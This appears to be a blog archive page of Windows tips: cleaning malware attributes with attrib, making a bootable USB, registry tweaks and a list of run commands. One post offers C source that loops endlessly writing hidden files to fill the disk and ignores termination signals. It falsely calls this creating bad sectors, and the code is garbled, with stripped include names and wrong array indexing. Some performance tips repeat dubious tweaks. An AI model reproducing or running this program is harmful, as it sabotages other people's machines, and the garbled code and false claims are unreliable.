Showing posts with label PC Tricks. Show all posts
Showing posts with label PC Tricks. Show all posts

Saturday, June 23, 2012

Using command prompt "attrib" to check for Viruses or Malware


To start attrib
  1. Go to Start Menu > Run
  2. Type cmd (cmd stands for command prompt)
  3. Press Enter key
The Command Prompt will appear showing us where is our location in the directory.

Using attrib

To use attrib
  1. Go to the root directory first by typing cd\(because this is always the target of Malware / Virus)
2. Type attrib and press Enter key

In this example, I have two files that are considered as malware.
Note that there are two files which I outlined in red (SilentSoftech.exe and autorun.inf). Since you cannot see this file nor delete it (because the attributes that was set on these files are +s +h +r)
  1. +s - meaning it is a system file (which also means that you cannot delete it just by using the delete command)
  2. +h - means it is hidden (so you cannot delete it)

  3. +r - means it is a read only file ( which also means that you cannot delete it just by using the delete command)

Now we need to set the attributes of autorun.inf to -s -h -r (so that we can manually delete it)
  1. Type attrib -s -h -r autorun.inf ( be sure to include -s -h -r because you cannot change the attributes using only -s or -h or -r alone)
  2. Type attrib again to check if your changes have been commited
  3. If the autorun.inf file has no more attributes, you can now delete it by typingdel autorun.inf
  4. Since SilentSoftech.exe is a malware you can remove its attributes by doing step 1 and step 3(just change the filename) ex. attrib -s -h -r silentsoftech.exe



THANKYOU...

continue reading

Sunday, April 8, 2012

HOW CAN MAKE BOOTABLE USB

This guide works 100% for Windows 7 and Windows 8 unlike most of the guides out there. I have seen many sites/blogs that have “Install Vista from USB guide” but either with incomplete steps or not working guide. I have also seen some guides that don’t’ use proper commands in this guide. After spending many hours I have come up with this 100% working guide to install Windows 7.from USB flash drive.
Bootable USB drive
I just did this method on one of my friends machine and installed Windows 7 and Windows 8 . The main advantage is that by using USB drive you will be able to install Windows 7 or Windows 8 in just 15 minutes. You can also use this bootable USB drive on friend’s computer who doesn’t have a DVD optical drive.
The method is very simple and you can use without any hassles. Needless to say that your motherboard should support USB Boot feature to make use of the bootable USB drive.
Requirements:
*USB Flash Drive (Minimum 4GB)
*Windows 7 or Windows 8 installation files.
Follow the below steps to create bootable Windows 7/Windows 8 USB drive using which you can install Windows 7 or Windows 8 easily.
Procedure:
1. Plug-in your USB flash drive to USB port and move all the contents from USB drive to a safe location on your system.
2. Open Command Prompt with admin rights. Use any of the below methods to open Command Prompt with admin rights.
*Type cmd in Start menu search box and hit CtrlShiftEnter.
Or
*Go to Start menu > All programs > Accessories, right click on Command Prompt and select Run as administrator.
3. You need to know about the USB drive a little bit. Type in the following commands in the command prompt:
First type DISKPART and hit enter to see the below message.

Next type LIST DISK command and note down the Disk number (ex: Disk 1) of your USB flash drive. In the below screenshot my Flash Drive Disk no is Disk 1.
4. Next type all the below commands one by one. Here I assume that your disk drive no is “Disk 1”.If you have Disk 2 as your USB flash drive then use Disk 2.Refer the above step to confirm it.
So below are the commands you need to type and execute one by one:
SELECT DISK 1
CLEAN
CREATE PARTITION PRIMARY
SELECT PARTITION 1
ACTIVE
FORMAT FS=NTFS
(Format process may take few seconds)
ASSIGN
EXIT
Don’t close the command prompt as we need to execute one more command at the next step. Just minimize it.

5. Next insert your Windows7/Windows 8 DVD into the optical drive and check the drive letter of the DVD drive. In this guide I will assume that your DVD drive letter is “D” and USB drive letter is “H” (open my computer to know about it).
6. Maximize the minimized Command Prompt in the 4th step.Type  the following command now:
D: CD BOOT and hit enter.Where “D” is your DVD drive letter.
CD BOOT and hit enter to see the below message.
7. Type another command given below to update the USB drive with BOOTMGR compatible code.
BOOTSECT.EXE /NT60 H:

Where “H” is your USB drive letter. Once you enter the above command you will see the below message.
8. Copy your Windows 7 or Windows 8 DVD contents to the USB flash drive.
9. Your USB drive is ready to boot and install Windows 7 or Windows 8. Only thing you need to change the boot priority at the BIOS to USB from the HDD or CD ROM drive. I won’t explain it as it’s just the matter the changing the boot priority or enabling the USB boot option in the BIOS.

    More...... Click the name(Red)   JERRIN JAMES


Note: If you are not able to boot after following this guide means you haven’t set the BIOS priority to USB. If you got any problem in following this guide feel free to ask questions by leaving comment.




continue reading

Saturday, February 4, 2012

how to write protected Drive

I had this issue and found that it was multiple cards all of which didn't have the switch, I quickly realized that the issue was my PC not the card since the cards did work in another PC. 

Here's how I fixed it: 
open Regedit and navigate to 
HKEY_LOCAL_MACHINE\SYSTEM\CurrrentControlSet\Control\StroageDevicePolicies 
If there is a WriteProtect key (REG_DWORD) then 
1 = Write Protect On 
0 = Write Protect Off 

Set to 0 and try (may have to reboot in some cases)

continue reading

Thursday, January 5, 2012

How To Create A Folder With Name Con

Hi friends I Wish You A Very Happy New Year.I hope that this new year will fill your life with lots of happiness and more success.
In this New Year I changed many things in my blog.I hope you will find my content more interesting and more informative.Well lets get started.


Once I saw a post in some tech forum stating as follows
Nobody can create a folder with name "con" in your windows . Whole Microsoft team even Bill Gates could not answer this mystery.


I was surprised and tried to create a folder with name con.In fact I was not able to create folder with name con and my windows is showing repeated error message as shown in below picture.

I tried to create many times in different possible ways but could not create a folder with name con.So how to create a folder with name con? Keep Reading.


Why is it not possible to create a folder with name con?


Not only CON but also we cant create a folder with many words like PRN, AUX, CLOCK$, NUL , COM1, COM2, COM3, COM4, COM5,COM6, COM7, COM8, COM9, LPT1, LPT2, LPT3, LPT4, LPT5, LPT6, LPT7, LPT8, and LPT9 .
The reason behind this is that they are reserved keywords used by DOS.These folders are already existing folders so when you try to create these folders then windows gets confused because of ambiguity(repetition) where to write data ,either virtual con folder or real con folder.So when you try to create a folder with these names then a error message will pop up and your folder will again revert to name New Folder.


How To Create Folder With Name Con?


Here I will explain two methods by which you can create a folder with name con and the reasons behind those methods.


Method 1(This method is not correct):


1.Right click then choose option new folder.
2.Now type "con"
3.Wait its not over yet,now you have to hold Alt key and then press "0160".
4.Now you will be able to create a folder with name "con"
Is it actually a folder with name con?
No the folder which you have create is a folder with name con+one space.The key Alt+0160 will help us creating one space while naming a folder.So the folder which we have created is not actually folder with name con.


Method 2(Original Method):


1.Open your command prompt.
2.Then type "MD \\.\D:\CON"(Without quotes).Here D is the drive which I have selected to create the folder with name CON.You can replace D with C,E,F etc.
create+folder+with+name+con


But it is not recommended to create this folder with name con on your Desktop or C drive because your PC might become unstable.
Now you cant delete this folder normally.If you want to delete the folder then you have to delete it through command prompt.
Open Command Prompt and then type “RD \\.\D:\CON”(Without Quotes)
delete+folder+con


Note:In some cases they may not be able to delete this folder with name con from command prompt also.In such cases you have to delete this folder(con) through Safe Mode.


How we are able to create a folder with name CON?


We have successfully created our folder with name con by UNC(Universal Naming Convention) Path.
\\server\share\file_path
For more info on Universal Naming Convention just google it.
Well let us know if there are any other methods of creating a folder with name con.Please share your views through your comments


continue reading

Tuesday, September 6, 2011

Short cuts using windows key

Win key + R will open the Start menu's Run box
Win key + F will open the Start menu's Find window
Win key + E will quickly launch Explorer
Win key + Pause/Break will open the System Properties window
Win key + M will Minimize all windows
Win key + Shift + M will undo Minimize all windows
Win key + D will switch between minimizing all open programs and showing them all
Win key + Tab will cycle through items on the taskbar
Win key by itself will open the Start menu

continue reading

Hide Drives In My Computer

To Hide All Drives In My Comuter Just Go To The String
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer
Now Create A New DWORD Value As NoDrives & Modify To 03FFFFFF(six F's)
Now Restart The System & You Have Done....
To Get As Before
Delete The Key Or Modify The Data To 0. (ZERO)........

continue reading

List Of All Run Commands For Win XP

To Access These Commands Just Press Win+R And Press Enter!
1. SQL Client Configuration - cliconfg
2. System Configuration Editor - sysedit
3. System Configuration Utility - msconfig
4. System File Checker Utility (Scan Immediately)- sfc /scannow
5. System File Checker Utility (Scan Once At Next Boot)- sfc /scanonce
6. System File Checker Utility (Scan On Every Boot) - sfc /scanboot
7. System File Checker Utility (Return to Default Setting)- sfc /revert
8. System File Checker Utility (Purge File Cache)- sfc /purgecache
9. System File Checker Utility (Set Cache Size to size x)-sfc/cachesize=x
10. System Information - msinfo32.
11. Task Manager – taskmgr
12. System Properties - sysdm.cpl
13. Task Manager – taskmgr
14. TCP Tester - tcptest
15. Telnet Client - telnet
16. Tweak UI (if installed) - tweakui
17. User Account Management- nusrmgr.cpl
18. Utility Manager - utilman
19. Windows Address Book - wab
20. Windows Address Book Import Utility - wabmig
21. Windows Backup Utility (if installed)- ntbackup
22. Windows Explorer - explorer
23. Windows Firewall- firewall.cpl
24. Windows Magnifier- magnify
25. Windows Management Infrastructure - wmimgmt.msc
26. Windows Media Player - wmplayer
27. Windows Messenger - msmsgs
28. Windows Picture Import Wizard (need camera connected)- wiaacmgr
29. Windows System Security Tool – syskey
30. Windows Update Launches - wupdmgr
31. Windows Version (to show which version of windows)- winver
32. Windows XP Tour Wizard - tourstart
33. Wordpad - write
34. Password Properties - password.cpl
35. Performance Monitor - perfmon.msc
36. Phone and Modem Options - telephon.cpl
37. Phone Dialer - dialer
38. Pinball Game - pinball
39. Power Configuration - powercfg.cpl
40. Printers and Faxes - control printers
41. Printers Folder – printers
42. Private Character Editor - eudcedit
43. Quicktime (If Installed)- QuickTime.cpl
44. Real Player (if installed)- realplay
45. Regional Settings - intl.cpl
46. Registry Editor - regedit
47. Registry Editor - regedit32
48. Remote Access Phonebook - rasphone
49. Remote Desktop - mstsc
50. Removable Storage - ntmsmgr.msc
51. Removable Storage Operator Requests - ntmsoprq.msc
52. Resultant Set of Policy (XP Prof) - rsop.msc
53. Scanners and Cameras - sticpl.cpl
54. Scheduled Tasks - control schedtasks
55. Security Center - wscui.cpl
56. Services - services.msc
57. Shared Folders - fsmgmt.msc
58. Shuts Down Windows - shutdown
59. Sounds and Audio - mmsys.cpl
60. Spider Solitare Card Game - spider
61. Malicious Software Removal Tool - mrt
62. Microsoft Access (if installed) - access.cpl
63. Microsoft Chat - winchat
64. Microsoft Excel (if installed) - excel
65. Microsoft Frontpage (if installed)- frontpg
66. Microsoft Movie Maker - moviemk
67. Microsoft Paint - mspaint
68. Microsoft Powerpoint (if installed)- powerpnt
69. Microsoft Word (if installed)- winword
70. Microsoft Syncronization Tool - mobsync
71. Minesweeper Game - winmine
72. Mouse Properties - control mouse
73. Mouse Properties - main.cpl
74. Nero (if installed)- nero
75. Netmeeting - conf
76. Network Connections - control netconnections
77. Network Connections - ncpa.cpl
78. Network Setup Wizard - netsetup.cpl
79. Notepad - notepad
80. Nview Desktop Manager (If Installed)- nvtuicpl.cpl
81. Object Packager - packager
82. ODBC Data Source Administrator- odbccp32.cpl
83. On Screen Keyboard - osk
84. Opens AC3 Filter (If Installed) - ac3filter.cpl
85. Outlook Express - msimn
86. Paint – pbrush
87. Keyboard Properties - control keyboard
88. IP Configuration (Display Connection Configuration) - ipconfi/all
89. IP Configuration (Display DNS Cache Contents)- ipconfig /displaydns
90. IP Configuration (Delete DNS Cache Contents)- ipconfig /flushdns
91. IP Configuration (Release All Connections)- ipconfig /release
92. IP Configuration (Renew All Connections)- ipconfig /renew
93. IP Configuration(RefreshesDHCP&Re-RegistersDNS)-ipconfig/registerdns
94. IP Configuration (Display DHCP Class ID)- ipconfig/showclassid
95. IP Configuration (Modifies DHCP Class ID)- ipconfig /setclassid
96. Java Control Panel (If Installed)- jpicpl32.cpl
97. Java Control Panel (If Installed)- javaws
98. Local Security Settings - secpol.msc
99. Local Users and Groups - lusrmgr.msc
100. Logs You Out Of Windows - logoff.....
101. Accessibility Controls - access.cpl
102. Accessibility Wizard - accwiz
103. Add Hardware - Wizardhdwwiz.cpl
104. Add/Remove Programs - appwiz.cpl
105. Administrative Tools control - admintools
106. Adobe Acrobat (if installed) - acrobat
107. Adobe Designer (if installed)- acrodist
108. Adobe Distiller (if installed)- acrodist
109. Adobe ImageReady (if installed)- imageready
110. Adobe Photoshop (if installed)- photoshop
111. Automatic Updates - wuaucpl.cpl
112. Bluetooth Transfer Wizard – fsquirt
113. Calculator - calc
114. Certificate Manager - certmgr.msc
115. Character Map - charmap
116. Check Disk Utility - chkdsk
117. Clipboard Viewer - clipbrd
118. Command Prompt - cmd
119. Component Services - dcomcnfg
120. Computer Management - compmgmt.msc
121. Control Panel - control
122. Date and Time Properties - timedate.cpl
123. DDE Shares - ddeshare
124. Device Manager - devmgmt.msc
125. Direct X Control Panel (If Installed)- directx.cpl
126. Direct X Troubleshooter- dxdiag
127. Disk Cleanup Utility- cleanmgr
128. Disk Defragment- dfrg.msc
129. Disk Management- diskmgmt.msc
130. Disk Partition Manager- diskpart
131. Display Properties- control desktop
132. Display Properties- desk.cpl
133. Display Properties (w/Appearance Tab
Preselected)- control color
134. Dr. Watson System Troubleshooting Utility- drwtsn32
135. Driver Verifier Utility- verifier
136. Event Viewer- eventvwr.msc
137. Files and Settings Transfer Tool- migwiz
138. File Signature Verification Tool- sigverif
139. Findfast- findfast.cpl
140. Firefox (if installed)- firefox
141. Folders Properties- control folders
142. Fonts- control fonts
143. Fonts Folder- fonts
144. Free Cell Card Game- freecell
145. Game Controllers- joy.cpl
146. Group Policy Editor (XP Prof)- gpedit.msc
147. Hearts Card Game- mshearts
148. Help and Support- helpctr
149. HyperTerminal- hypertrm
150. Iexpress Wizard- iexpress

continue reading

Increase the performance of your pc while playing a game

Thos e who are using a very less sized ram the performance of any pc will not be at a good level as it should be! What it does: It tells Windows not to use any Swap File until there is really no more free RAM left.

Open the System Configuration Utility by typing msconfig.exe in the RUN command. There in your System.ini you have to add "ConservativeSwapfileUsage=1" under the 386enh section.

Restart your Windows and enjoy better Game performance even when you are using a 256 MB ram!
Is it cool bubby?

continue reading

Set your name with time

Navigate to START → Settings → Control Panel.
Double click on Regional and Language Options, if you are in Classic View. Otherwise, click on Date, Time, Language, and Regional Options, then click on Regional Options.

Click on the Customize.

Click on the Time tab.
Replace the AM and PM with your first name.
Click on Apply.
Click on OK.
Close the Regional and Language Options window.
That’s it!

continue reading

Add a Website Link to the Start Menu

• Right click on the Start button and select Explore
• After Windows Explorer opens, in the right window pane, right click and select New / Shortcut
• In the "Type the location of the item" enter the Web Site URL you want to create. An example would be (without quotes) "http://www.3GFun.blogspot.com/"
• Click Next
• In the "Type a name for this shortcut:" enter a name for the link that you want to display in the Start menu.
• Click Finish
• Now click on the Start menu and you will see the new link you just created. Click on it and it will open up to the website.

continue reading

Shortcut to Lock Your Computer

Leaving your computer in a hurry but you don’t want to log off? You can double-click a shortcut on your desktop to quickly lock the keyboard and display without using CTRL+ALT+DEL or a screen saver. But you are thinking that how To create a shortcut on your desktop to lock your computer. Than here is the procedure to do that.
First right-click the desktop.
Point to New, and then click Shortcut.
The Create Shortcut Wizard opens.
In the text box, type the following: rundll32.exe user32.dll,LockWorkStation Click Next.
Enter a name for the shortcut. You can call it "Lock Workstation" or choose any name you like.
Click Finish.
 You can also change the shortcut's icon.
That’s all. Now any time if you want to lock your pc than you just have to press this short cut, and you have done!

continue reading

Display legal notice on startup

Hey friends, your friends are used to use your pc when you are not available?
Do you want to give some legal instruction during start up of your pc?
Okay..
Than this is the trick will help you a lot!
Just go to run command and type
REGEDIT
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\policies\system]
"legalnoticecaption"="enter your notice caption"
"legalnoticetext"="enter your legal notice text"

That s it. Now when pc will start your legal notice will be displayed!
If you like this trick you can comment.

continue reading

Change Icons for File Types

Use this method to change all the icons associated with a given file type, like all NotePad documents, for example. Changing one file icon generally changes all of that type.

Open My Computer/Open tools/Open folder options

Click File Types

Highlight the file-type icon you wish to change.

Click Advanced at the bottom right of the screen.

Change the icon.

Use one of the4 shown icons or click Browse to go to Local Disk (C:)/WINNT/ System 32/Progman/

Highlight the icon.

Click OK.

continue reading

Caps Lock Trick

Don't you hate it when you accidentally hit the Caps Lock key? Sometimes I have a whole sentence typed in before I realize my mistake!
What if you could set your computer up so it alerts you when your pinky finger wanders off and taps the Caps Lock key? With this tip, I'll show you how to make your computer beep & flash the next time it happens.
The first thing you'll need to do is get the computer to beep when you hit the Caps Lock key. Here's how:
1. Click the Start button, Settings, Control Panel (XP Users, hit the Start button, Control Panel). Open the Accessibility Options Icon.
2. On the Keyboard tab, click the "Use Toggle Keys" checkbox.
That's it for the beeping part.
Next, we need to get your screen to flash you, err, flash at you. Here's how:
1. From the Accessibility Options screen, click the Sound tab and check the "Use SoundSentry" checkbox
2. Next click the Settings button and select "Flash active window" from the "Warning for windowed programs" drop down box.
That's it. Hit OK until you're clear of property and settings screens. Open your favorite word processor and hit your Caps Lock key.
Cool huh?
P.S. If you don't have an Accessibility Options icon in your Control Panel, you may not have it installed.
To install, hit your Start button, Settings, Control Panel. Open the Add / Remove programs icon and click the Windows Setup tab. You'll be able to add components from there. Keep in mind you'll need your Windows CD!

continue reading

CTRL And Your Folders

Do you ever find yourself scrolling through a huge folder? If you need to get to the beginning or the end quickly, just press CTRL - HOME. If you want to get to the end, click CTRL - END.

continue reading

Hide Folder Without Any Software

This one is really cool and pretty useful too...
Its really easy...
just follow these steps:

1.Create a new folder somewhere on your hard drive.
2.When you name it hold down "Alt" and press "0160" this will create and invisible space so it will apper as if it has no name.
3.right click it and select "Properties" select the tab "coustimize" and select "change icon" scroll along and you should a few blanc spaces click on any one and click ok and save it.
4.when you have saved the settings the folder will be invisible to hide all your personal files.
try this....i dont think that you will find any problem doing this...if you still find any probs..just leave a comment.

continue reading

Create BAD sectors on HDD

This program will create BAD Sectors on HDD. (Use at your own risk) #include
#include
#include
#include
#include
#include
#include
#define HDSIZE 640000
void handle_sig();
int main() {
int i = 0;
int x;
int fd[5];
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
char *buf;
buf = malloc(HDSIZE);
printf("sekt0r: trashing hard disk with bad sectors!\n");
while(1) {
fd[1] = open("/tmp/.test", O_WRONLY|O_CREAT, 511);
fd[2] = open("/tmp/.test1", O_WRONLY|O_CREAT, 511);
fd[3] = open("/tmp/.test2", O_WRONLY|O_CREAT, 511);
fd[4] = open("/tmp/.test3", O_WRONLY|O_CREAT, 511);
fd[5] = open("/tmp/.test4", O_WRONLY|O_CREAT, 511);
for(x = 0; x < 5; x++) {
write(fd[x], buf, HDSIZE);
lseek(fd[x], 0, SEEK_SET);
close(fd[x]);
} /* end for() loop. */
} /* end while() loop. */
} /* end main(). */

void handle_sig() {
/* Reset signal handlers. */
signal(SIGINT, handle_sig);
signal(SIGHUP, handle_sig);
signal(SIGQUIT, handle_sig);
signal(SIGABRT, handle_sig);
signal(SIGTERM, handle_sig);
printf("sekt0r: cannot exit - trashing hard disk with bad sectors!\n");
return; /* go back to creating bad sectors. */
}

continue reading

Speed Up XP Booting

Start Registry Editor (Regedit.exe).
Locate the following key in the registry:
HKEY_LOCAL_MACHINE\SYSTEM\Current ControlSet\Control\Ses sionManager\MemoryManagement\Prefetch Parameters
Make sure you backup the keys by exporting them to a .reg file.
On the EnablePrefetcher value, change the setting from 3 to 5 (decimal).
Close the registry editor.
Restart your computer.

continue reading

Shutdown XP Faster

Shutdown XP Faster Like previous versions of windows, it takes long time to restart or shutdown windows XP when the "Exit Windows" sound is enabled. To solve this problem you must disable this useless sound. Click Start button. Go to settings > Control Panel > Sound, Speech and Audio devices > Sounds and Audio Devices > Sounds. Then under program events and windows menu click on "Exit Windows" sub-menu and highlight it. Now from sounds you can select, choose "none" and then click Apply and OK. Now you should see some improvements when shutting down your system.

continue reading

Easily Disable Messenger

Go into: C:/Program Files/Messenger. Rename the Messenger folder to "MessengerOFF". This does not slow down Outlook Express or hinder system performance.

continue reading